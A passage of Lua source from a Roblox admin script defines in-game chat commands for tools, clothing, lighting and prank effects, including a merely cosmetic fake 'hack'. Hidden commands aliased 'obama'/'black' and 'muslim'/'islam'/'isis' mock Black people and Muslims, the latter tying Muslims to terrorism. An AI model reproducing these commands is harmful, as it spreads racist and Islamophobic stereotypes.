7009 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
7010 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
7011 local TmpPlayers = {}
7012 local Output = {}
7013 for _,Data in pairs(Players) do
7014 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
7015 end
7016 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
7017 end};
7018
7019 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
7020 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
7021 GUI:SendHint(Speaker, "Player Database cleared", 5)
7022 end};
7023
7024 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
7025 local Players = STRING:Scan(Arguments[1], Speaker)
7026 for _,Player in pairs(Players) do
7027 GUI:FakeHack(Player)
7028 end
7029 end};
7030
7031 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7032 local Players = STRING:Scan(Arguments[1], Speaker)
7033 for _,Player in pairs(Players) do
7034 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7035 for _,Object in pairs(Player.Backpack:GetChildren()) do
7036 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7037 local Clone = Object:Clone()
7038 Clone.Parent = Speaker.Backpack
7039 end
7040 end
7041 end
7042 end
7043 end};
7044
7045 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7046 local Players = STRING:Scan(Arguments[1], Speaker)
7047 for _,Player in pairs(Players) do
7048 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7049 for _,Object in pairs(Player.Backpack:GetChildren()) do
7050 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7051 Object.Parent = Speaker.Backpack
7052 end
7053 end
7054 end
7055 end
7056 end};
7057
7058 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7059 local Players = STRING:Scan(Arguments[1], Speaker)
7060 for _,Player in pairs(Players) do
7061 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7062 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
7063 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7064 local Clone = Object:Clone()
7065 Clone.Parent = Player.Backpack
7066 end
7067 end
7068 end
7069 end
7070 end};
7071
7072 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
7073 local Players = STRING:Scan(Arguments[1], Speaker)
7074 for _,Player in pairs(Players) do
7075 if Player:FindFirstChild("Backpack") then
7076 Player.Backpack:ClearAllChildren()
7077 end
7078 if Player.Character ~= nil then
7079 for _,Obj in pairs(Player.Character:GetChildren()) do
7080 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
7081 Obj:Destroy()
7082 end
7083 end
7084 end
7085 end
7086 end};
7087
7088 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
7089 local Players = STRING:Scan(Arguments[1], Speaker)
7090 for _,Player in pairs(Players) do
7091 if Player.Character then
7092 if Player.Character:FindFirstChild("Head") then
7093 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
7094 coroutine.wrap(function()
7095 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7096 local OldFace = Player.Character.Head.face.Texture
7097 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
7098 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
7099 Player.Character.Head.face.Texture = "rbxassetid://24067663"
7100 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
7101 Sound:Play()
7102 coroutine.wrap(function() for i = 1,100 do wait()
7103 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
7104 coroutine.wrap(function() wait(3) Part:Destroy() end)()
7105 end
7106 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
7107 end end
7108 end)()
7109 end
7110 end
7111 end
7112 end
7113 end};
7114
7115 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
7116 local Players = STRING:Scan(Arguments[1], Speaker)
7117 for _,Player in pairs(Players) do
7118 if Player.Character then
7119 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
7120 coroutine.wrap(function()
7121 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7122 local OldFace = Player.Character.Head.face.Texture
7123 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
7124 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
7125 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
7126 Player.Character.Head.face.Texture = "rbxassetid://28118994"
7127 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
7128 Sound:Play()
7129 wait(1)
7130 Smoke.Enabled = false
7131 wait(1)
7132 Fart:Destroy()
7133 Fart:Destroy()
7134 Player.Character.Head.face.Texture = OldFace
7135 end end
7136 end)()
7137 end
7138 end
7139 end
7140 end};
7141
7142 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
7143 local Players = STRING:Scan(Arguments[1], Speaker)
7144 for _,Player in pairs(Players) do
7145 if Player:FindFirstChild("Backpack") then
7146 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
7147 end
7148 end
7149 end};
7150
7151 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
7152 local Players = STRING:Scan(Arguments[1], Speaker)
7153 for _,Player in pairs(Players) do
7154 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
7155 Player.Character.MMLGraffiti:ClearAllChildren()
7156 end
7157 end
7158 end};
7159
7160 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
7161 local Players = STRING:Scan(Arguments[1], Speaker)
7162 for _,Player in pairs(Players) do
7163 if Player.Character and Player.Character:FindFirstChild("Torso") then
7164 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
7165 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
7166 end
7167 end
7168 end};
7169
7170 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
7171 local Players = STRING:Scan(Arguments[1], Speaker)
7172 for _,Player in pairs(Players) do
7173 if Player.Character and Player.Character:FindFirstChild("Torso") then
7174 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
7175 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
7176 end
7177 end
7178 end};
7179
7180 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
7181 local Players = STRING:Scan(Arguments[1], Speaker)
7182 for _,Player in pairs(Players) do
7183 if Player.Character and Player.Character:FindFirstChild("Torso") then
7184 local Lights = {}
7185 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
7186 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
7187 table.insert(Lights, Obj)
7188 end
7189 end
7190 for _,Light in pairs(Lights) do
7191 coroutine.wrap(function()
7192 for i = 1,20 do
7193 Light.Brightness = Light.Brightness/5
7194 wait()
7195 end
7196 Light:Destroy()
7197 end)()
7198 end
7199 end
7200 end
7201 end};
7202
7203 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7204 local Players = STRING:Scan(Arguments[1], Speaker)
7205 for _,Player in pairs(Players) do
7206 if Player.Character and Player:FindFirstChild("PlayerGui") then
7207 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7208 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7209 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7210 local Stop = false
7211 coroutine.wrap(function()
7212 repeat
7213 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7214 wait(0.1)
7215 until not SG or not SG.Parent
7216 end)()
7217 CORE:ExecuteResource("Drug", Player.Character)
7218 end
7219 end
7220 end};
7221
7222 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7223 local Players = STRING:Scan(Arguments[1], Speaker)
7224 for _,Player in pairs(Players) do
7225 if Player:FindFirstChild("PlayerGui") then
7226 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7227 wait() CORE:RestoreCamera(Player)
7228 end
7229 end
7230 end};
7231
7232 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7233 local AbuseMode = false
7234 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7235 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7236 if Speaker:FindFirstChild("Backpack") then
7237 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7238 end
7239 end)
7240 end, Http = true};
7241
7242 [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
7243 local Type = "all"
7244 local Query = string.lower(Arguments[1])
7245 local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
7246 if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
7247 Type = Arguments[1]
7248 Query = Arguments[2]
7249 end
7250 MARKET:ShowSearch(Speaker, 11, Query, function(ID)
7251 if Speaker.Character then
7252 CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
7253 end
7254 end, MARKET:AccessoryToSubcategory(Type))
7255 end, Http = true};
7256
7257 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7258 MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
7259 if Speaker.Character then
7260 CORE:GivePackage(Speaker, ID)
7261 end
7262 end, 11)
7263 end, Http = false};
7264
7265 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7266 local Players = STRING:Scan(Arguments[1], Speaker)
7267 for _,Player in pairs(Players) do
7268 CORE:GivePackage(Player)
7269 end
7270 end};
7271
7272 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7273 local Players = STRING:Scan(Arguments[1], Speaker)
7274 for _,Player in pairs(Players) do
7275 CORE:GivePackage(Player, Arguments[2])
7276 end
7277 end, Http = false};
7278
7279 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7280 local Players = STRING:Scan(Arguments[1], Speaker)
7281 for _,Player in pairs(Players) do
7282 local Stats = Player:FindFirstChild("leaderstats")
7283 if Stats ~= nil then
7284 for _,Stat in pairs(Stats:GetChildren()) do
7285 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7286 ypcall(function() Stat.Value = Arguments[3] end)
7287 end
7288 end
7289 end
7290 end
7291 end};
7292
7293 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7294 local ID = tonumber(Arguments[2])
7295 local Players = STRING:Scan(Arguments[1], Speaker)
7296 for _,Player in pairs(Players) do
7297 for _,Player in pairs(Players) do
7298 if Player.Character ~= nil then
7299 local Obj = Player.Character:FindFirstChild("Shirt")
7300 if Obj then
7301 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7302 else
7303 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7304 end
7305 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7306 end
7307 end
7308 end
7309 end};
7310
7311 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7312 local ID = tonumber(Arguments[2])
7313 local Players = STRING:Scan(Arguments[1], Speaker)
7314 for _,Player in pairs(Players) do
7315 for _,Player in pairs(Players) do
7316 if Player.Character ~= nil then
7317 local Obj = Player.Character:FindFirstChild("Pants")
7318 if Obj then
7319 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7320 else
7321 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7322 end
7323 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7324 end
7325 end
7326 end
7327 end};
7328
7329 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7330 local ID = tonumber(Arguments[2])
7331 local Players = STRING:Scan(Arguments[1], Speaker)
7332 for _,Player in pairs(Players) do
7333 for _,Player in pairs(Players) do
7334 if Player.Character ~= nil then
7335 if Player.Character:FindFirstChild("Torso") then
7336 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7337 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7338 if Obj1 then
7339 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7340 else
7341 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7342 end
7343 if Obj2 then
7344 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7345 else
7346 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7347 end
7348 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7349 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7350 end
7351 end
7352 end
7353 end
7354 end};
7355
7356 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7357 local Players = STRING:Scan(Arguments[1], Speaker)
7358 for _,Player in pairs(Players) do
7359 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7360 end
7361 end};
7362
7363 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7364 if CORE:InAdminGroup(Speaker) then
7365 local Players = STRING:Scan(Arguments[1], Speaker)
7366 for _,Player in pairs(Players) do
7367 if Player:FindFirstChild("Backpack") then
7368 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7369 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7370 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7371 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7372 CORE:ExecuteResource("CookieTool", Tool)
7373 end
7374 end
7375 end
7376 end};
7377
7378 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7379 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7380 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7381 end
7382 end};
7383
7384 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7385 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7386 local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
7387 Model:MakeJoints()
7388 for i = 1,math.random(10,20) do
7389 Model.Name = Model.Name..string.char(math.random(97,122))
7390 end
7391 if Model:GetChildren()[1] then
7392 table.insert(Objects, Model)
7393 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7394 end
7395 end
7396 end};
7397
7398 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7399 local ID = tonumber(Arguments[2])
7400 local Players = STRING:Scan(Arguments[1], Speaker)
7401 for _,Player in pairs(Players) do
7402 if Player.Character then
7403 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7404 end
7405 end
7406 end};
7407
7408 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7409 local Players = STRING:Scan(Arguments[1], Speaker)
7410 for _,Player in pairs(Players) do
7411 if Player.Character then
7412 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7413 if StopAnim then StopAnim:Destroy() end
7414 end
7415 end
7416 end};
7417
7418 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7419 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7420 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7421 end
7422 end};
7423
7424 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7425 if tonumber(Arguments[1]) then
7426 Server.Lighting.Brightness = tonumber(Arguments[1])
7427 end
7428 end};
7429
7430 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7431 local Players = STRING:Scan(Arguments[1], Speaker)
7432 for _,Player in pairs(Players) do
7433 GUI:CoreGui(Player, "PlayerList", true)
7434 end
7435 end};
7436
7437 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7438 local Players = STRING:Scan(Arguments[1], Speaker)
7439 for _,Player in pairs(Players) do
7440 local Players = STRING:Scan(Arguments[1], Speaker)
7441 GUI:CoreGui(Player, "PlayerList", false)
7442 end
7443 end};
7444
7445 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7446 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7447 end, Hidden = true};
7448
7449 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7450 local Players = STRING:Scan(Arguments[1], Speaker)
7451 for _,Player in pairs(Players) do
7452 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7453 end
7454 end, Hidden = true};
7455
7456 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7457 local Players = STRING:Scan(Arguments[1], Speaker)
7458 for _,Player in pairs(Players) do
7459 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7460 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7461 Player:ClearCharacterAppearance()
7462 CORE:Insert(12436480, Player.Character, true)
7463 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7464 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7465 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7466 end
7467 end
7468 end, Hidden = true};
7469
7470 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7471 local Players = STRING:Scan(Arguments[1], Speaker)
7472 for _,Player in pairs(Players) do
7473 CORE:ChangeCharacter(Player, 0, false, Speaker)
7474 end
7475 end};
7476
7477 [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
7478 ShouldFilter = false
7479 end, Hidden = true};
7480
7481 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7482 local Bet = Arguments[1]
7483 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7484 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7485 elseif #Bet > 5 then
7486 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7487 else
7488 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7489 if Answer == "Yes" then
7490 local OldBet = Settings.Bet
7491 CORE:ChangeBet(Bet)
7492 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7493 end
7494 end
7495 end};
7496
7497 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7498 local Prefix = Arguments[1]
7499 if #Prefix > 5 then
7500 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7501 else
7502 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7503 if Answer == "Yes" then
7504 local OldPrefix = Settings.Prefix
7505 Settings.Prefix = Prefix
7506 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7507 end
7508 end
7509 end};
7510
7511 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7512 GUI:CommandBar(Speaker)
7513 end};
7514
7515 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7516 GUI:CommandBar(Speaker)
7517 PermCommandBars[Speaker.Name] = true
7518 end};
7519
7520 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7521 PermCommandBars[Speaker.Name] = nil
7522 end};
7523
7524 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7525 local Players = STRING:Scan(Arguments[1], Speaker)
7526 for _,Player in pairs(Players) do
7527 PermCommandBars[Player.Name] = nil
7528 end
7529 end};
7530
7531 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7532 CORE:CreateFigure("Dummy", nil, true, Speaker)
7533 end};
7534
7535 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7536 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7537 end};
7538
7539 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7540 local Players = STRING:Scan(Arguments[1], Speaker)
7541 for _,Player in pairs(Players) do
7542 CORE:ClonePlayer(Player)
7543 end
7544 end};
7545
7546 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7547 local Players = STRING:Scan(Arguments[1], Speaker)
7548 for _,Player in pairs(Players) do
7549 CORE:ClonePlayer(Player, Arguments[2])
7550 end
7551 end};
7552
7553 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7554 for _,Obj in pairs(Objects) do
7555 if Obj then Obj:Destroy() end
7556 end
7557 for Name,Jail in pairs(Jails) do
7558 if not game.Players:FindFirstChild(Name) then
7559 Jail:Destroy()
7560 Jails[Name] = nil
7561 end
7562 end
7563 Objects = {}
7564 end};
7565
7566 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7567 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7568 if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
7569 Obj:Destroy()
7570 end
7571 end
7572 end};
7573
7574 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7575 local Players = STRING:Scan(Arguments[1], Speaker)
7576 for _,Player in pairs(Players) do
7577 if Player.Character and Player.Character:FindFirstChild("Torso") then
7578 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7579 end
7580 end
7581 end};
7582
7583 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7584 local Players = STRING:Scan(Arguments[1], Speaker)
7585 for _,Player in pairs(Players) do
7586 if Player.Character and Player.Character:FindFirstChild("Torso") then
7587 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7588 end
7589 end
7590 end};
7591
7592 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7593 local Players = STRING:Scan(Arguments[1], Speaker)
7594 for _,Player in pairs(Players) do
7595 if Player.Character and Player.Character:FindFirstChild("Torso") then
7596 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7597 end
7598 end
7599 end};
7600
